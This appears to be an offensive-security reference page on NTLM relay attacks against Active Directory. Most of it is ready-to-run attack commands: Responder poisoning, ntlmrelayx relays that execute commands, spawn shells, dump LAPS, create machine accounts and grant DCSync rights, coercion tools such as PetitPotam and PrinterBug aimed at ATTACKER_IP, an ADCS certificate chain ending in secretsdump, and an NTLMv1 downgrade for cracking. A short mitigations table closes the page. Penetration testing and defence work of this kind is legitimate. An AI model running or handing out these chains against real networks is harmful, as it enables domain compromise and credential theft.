Service bank
DIRECTORY / AD 445/tcp 389/tcp 80/tcp

NTLM Relay Attacks

aka NTLM Relay, SMB Relay, LDAP Relay, Responder, ntlmrelayx

NTLM relay end-to-end: Responder poisoning, ntlmrelayx SMB/LDAP/HTTP relay, authentication coercion (PrinterBug, PetitPotam, DFSCoerce, Coercer), SMB signing detection, LDAP relay to DACL/computer account, and NTLMv1 downgrade.

Ports

PortProtoNotes
445tcpSMB — relay target (requires signing disabled)
389tcpLDAP — relay target for object modifications
80tcpHTTP — relay target (web enrollment, Exchange)

Fingerprint

  • nxc smb network --gen-relay-list reveals hosts with SMB signing disabled
  • LDAP relay works even with SMB signing enabled

Key files

PathHoldsSensitive
ntlmrelayx SOCKS session authenticated session usable with proxychains sensitive

Exploitation primitives

  • Disable Responder HTTP/SMB listeners, enable ntlmrelayx, then poison to relay
  • SMB relay requires signing disabled on target; LDAP relay has no signing requirement by default
  • Coerce DC authentication via PrinterBug/PetitPotam → relay to LDAP → DCSync rights or certificate
  • Computer account creation via LDAP relay → pivot to RBCD attack

Concept

NTLM authentication sends a challenge-response hash that proves identity without transmitting the password. The relay attack intercepts this authentication and replays it to a different server — the attacker authenticates to the target as the victim.

Key requirements:

  • SMB relay: target must have SMB signing disabled or not required
  • LDAP relay: no signing requirement by default (until EnableLdapSigning policy applied)
  • HTTP relay: no signing — works for Exchange EWS, ADCS web enrollment, etc.

Step 1 — Find Relay Targets (SMB Signing)

# nxc — generate a relay target list (hosts where signing is NOT required)
nxc smb 10.129.0.0/24 --gen-relay-list relay_targets.txt

# nmap
nmap -p 445 --script smb-security-mode 10.129.0.0/24 | grep "message_signing"

# runfinger.py (Responder tool)
python3 /opt/Responder/tools/RunFinger.py -i 10.129.0.0/24

Domain controllers always require SMB signing. Member servers usually do not.


Step 2 — Configure Responder (disable SMB/HTTP)

Edit /etc/responder/Responder.conf:

; Disable so ntlmrelayx handles these protocols
SMB = Off
HTTP = Off

Start Responder in poisoning mode:

sudo responder -I eth0 -wrf

Step 3 — Start ntlmrelayx

SMB relay → execute command

ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami > C:\\Windows\\Temp\\pwned.txt"

SMB relay → interactive shell

ntlmrelayx.py -tf relay_targets.txt -smb2support -i
# Spawns interactive SMB shell on localhost
nc 127.0.0.1 11000

LDAP relay → dump domain info

ntlmrelayx.py -t ldap://DC_IP --dump-laps --dump-adcs
ntlmrelayx.py -t ldaps://DC_IP --dump-laps

LDAP relay → create computer account (for RBCD)

ntlmrelayx.py -t ldap://DC_IP --add-computer EVILPC --computer-password 'EvilPass123!'

LDAP relay → grant DCSync rights

ntlmrelayx.py -t ldap://DC_IP --escalate-user low_priv_user

HTTP relay → ADCS web enrollment (ESC8)

ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

SOCKS proxy (persistent session)

ntlmrelayx.py -tf relay_targets.txt -smb2support --socks
# Then via proxychains:
proxychains secretsdump.py -no-pass domain.local/victim@TARGET

Authentication Coercion

Coercion forces a privileged machine (typically the DC) to authenticate to your relay listener.

PrinterBug (MS-RPRN SpoolSample)

# Linux
python3 printerbug.py 'domain.local/user:pass'@DC_IP ATTACKER_IP

# Windows (SharpPrintBug)
.\SharpSpoolTrigger.exe DC_IP ATTACKER_IP

PetitPotam (MS-EFSRPC)

python3 PetitPotam.py -u user -p pass -d domain.local ATTACKER_IP DC_IP

# Unauthenticated (patched in Aug 2021 but variants remain)
python3 PetitPotam.py ATTACKER_IP DC_IP

DFSCoerce (MS-DFSNM)

python3 dfscoerce.py -u user -p pass -d domain.local ATTACKER_IP DC_IP

Coercer (covers all coercion methods)

# Enumerate available coercion methods
python3 Coercer.py scan -t DC_IP -u user -p pass -d domain.local

# Trigger all available coercions
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d domain.local

Combined Coercion + LDAP Relay → ADCS (ESC8)

Full chain: force DC authentication → relay to CA web enrollment → get a certificate for the DC account → DCSync.

# Terminal 1: relay to ADCS
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Terminal 2: coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP

# After cert is received:
certipy auth -pfx dc.pfx -dc-ip DC_IP  # gets DC TGT + NT hash

# DCSync with the DC hash
secretsdump.py -hashes ':DC_NT_HASH' 'domain.local/DC$'@DC_IP

Combined Coercion + Responder → Hash Capture

When relay isn’t possible (all hosts have signing enabled), capture and crack instead:

# Start Responder with SMB/HTTP On (not relaying)
sudo responder -I eth0 -wrf

# Coerce DC authentication
python3 PetitPotam.py ATTACKER_IP DC_IP

# Responder captures the DC$ machine account hash
# Crack: hashcat -m 5600 dc_hash.txt rockyou.txt

NTLMv1 Downgrade

Force downgrade from NTLMv2 to NTLMv1 — weaker and crackable via crack.sh rainbow tables.

# Responder with NTLMv1 capture
sudo responder -I eth0 --lm --disable-ess

# Or configure ntlmrelayx downgrade
ntlmrelayx.py -tf relay_targets.txt --ntlm-versions "1"

Submit NTLMv1 hashes to https://crack.sh (free for 1000 hashes/day).


Mitigations checked for

ControlHow to verify
SMB signing requirednxc smb target --gen-relay-list — list should be empty
LDAP signing + channel bindingnxc ldap DC_IP -M ldap-checker
EPA on Exchange / ADCSCheck IIS config for Extended Protection
Disable LLMNR/NBT-NSCheck Group Policy

References